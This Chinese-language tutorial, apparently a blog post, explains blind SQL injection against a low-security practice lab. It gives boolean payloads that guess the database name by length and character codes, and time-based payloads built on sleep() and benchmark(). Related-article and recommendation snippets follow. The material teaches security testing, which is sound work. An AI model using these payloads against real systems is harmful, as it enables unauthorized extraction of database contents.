一.首先输入1和-1 查看输入正确和不正确两种情况

二.三种注入POC

LOW等级

... where user_id =$id

输入      真  and  假 = 假

(1)...where user_id = 1 and 1=2

(2)...where user_id = 1' and '1'='2

(3)...where user_id = 1" and "1"="2

如果结果显示为  MISSING 则说明 假的数据(1=2)被注入进去

结果单引号的为假,则存在SQL盲注漏洞

1' and 真 -- 结果为真

1' and 假 -- 结果为假

三.获取数据

布尔型注入

(1)猜解字符串长度        length(str)

输入:1' and length(database())>1--

或     用hackbar

1' and length(database())>10--

用二分法得到database长度为4

(2)猜解字符串

获取单个字符     substr(string,start,length) 类似于暴力破解,有点慢

获取字符ascii码   ascii(string)  单字符的ascii的范围  0~127

输入:1’ and ascii(substr(database(),1,1))>64 --

利用二分法

得到第一个字符ascii为100 是字母d

同样获得1’ and ascii(substr(database(),2,1))>64 -- 第二,三,四个

1’ and ascii(substr(database(),3,1))>64 --

1’ and ascii(substr(database(),4,1))>64 --

延时型注入

SQL函数:if(expr1,expr2,expr3)如果1为真,返回2,否则返回3

sleep(N) 休眠N秒

benchmark(count,expr) 重复计算(计算次数,表达式)

输入:1‘ and sleep(if(length(database())=4,5,0))-- 为真

输入:1‘ and sleep(if(length(database())=4,5,0))-- 为假

输入:1' and benchmark(if(length(database())=4,5000000,0),md5('test'));--

sqlmap中payload中的各种函数:

(1)数据类型的转换 cast(expression as data_type)            expression:表达式     data_type:新的数据类型

(2)ifnull(expr1,expr2)

如果expr1是null,返回expr2,否则返回它本身

(3)mid(expression,start,length)

获取子字符串(源字符串,子串开始位置,子串长度)

(4)ord(string)

获取第一个字符的ASCII数值(字符串)

SQL盲注的更多相关文章

  1. 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...

  2. WEB安全实战(一)SQL盲注

    前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...

  3. Kali学习笔记43:SQL盲注

    前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...

  4. [转载]sql 盲注之正则表达式攻击

    [转载]sql 盲注之正则表达式攻击 -----------------------------------------MYSQL 5+-------------------------------- ...

  5. WEB安全番外第四篇--关于SQL盲注

    一.SQL盲注: 看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注. 二.第一种--基于布尔类型的盲注: 这种很简单,最典型的例子,就是挖SQL注入的时候常用的: ''' http ...

  6. SQL盲注攻击的简单介绍

    1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输 ...

  7. Web系统常见安全漏洞及解决方案-SQL盲注

    关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...

  8. SQL盲注工具BBQSQL

    SQL盲注工具BBQSQL   SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...

  9. 第九届极客大挑战——Geek Chatroom(sql盲注)

    首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢, ...

随机推荐

  1. java代码修改了之后运行仍然是原程序

    有的时候java代码改了之后但是运行的程序却没有发生改动,这是什么情况呢?可能懂得的人都觉得十分简单,但对于我这样的小白来说确实很费力.java代码更改后需要编译生成.class文件,说的直白点,这个 ...

  2. AppDomain配置和卸载

    AppDomain 1.配置AppDomain 使用AppDomainSetup类为新应用程序域提供带有配置信息的公共语言运行时.创建自己的应用程序域时,最重要的ApplicationBase(它是定 ...

  3. nginx的开机自启、server命令启动、nginx.conf配置

    1.将Nginx设置为开机自动启动 a.当上面6步完成之后,说明安装已经完全成功了,但是每次开机我们面临的一个问题,就是每次都要执行命令(1: cd /usr/local/nginx/sbin/   ...

  4. boost::intrusive_ptr原理介绍

    boost::intrusive_ptr一种“侵入式”的引用计数指针,它实际并不提供引用计数功能,而是要求被存储的对象自己实现引用计数功能,并提供intrusive_ptr_add_ref和intru ...

  5. make menuconfig 出错解决

    问题: hank@hank-virtual-machine:/opt/Emb/linux-2.6.30.4$ sudo make menuconfig *** Unable to find the n ...

  6. OC NSMutableString的使用

    #pragma mark 可变字符串的创建 void stringCreate() { // 预先分配10个字数的存储空间 NSMutableString *str = [[NSMutableStri ...

  7. jquery获取前一个月日期

    一) 重构Date对象: // 对Date的扩展,将 Date 转化为指定格式的String // 月(M).日(d).小时(h).分(m).秒(s).季度(q) 可以用 1-2 个占位符, // 年 ...

  8. Java实现身份证号码验证源码分享

    import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Calendar; impor ...

  9. Ubuntu14.04安装PowerDNS踩坑实录

    公司要使用PowerDNS,作为内网域名解析的工具.让我和另一组的同事学一下如何配置及调优.所以先找了两台服务器试着安装一下.这一装就是一个礼拜,经历了大大小小的坑,记下来以后可能需要参考.安装过程如 ...

  10. [AHOI2004]数字迷阵

    嘟嘟嘟 应该算一道结论题吧. 首先很明显的一点,就是对于ai,j,我们只用求出ai,1就行了,剩下的就是斐波那契和矩阵快速幂的事. 至于如何求ai,1,用两种方法,但是哪一个我都不懂为啥,网上也没有解 ...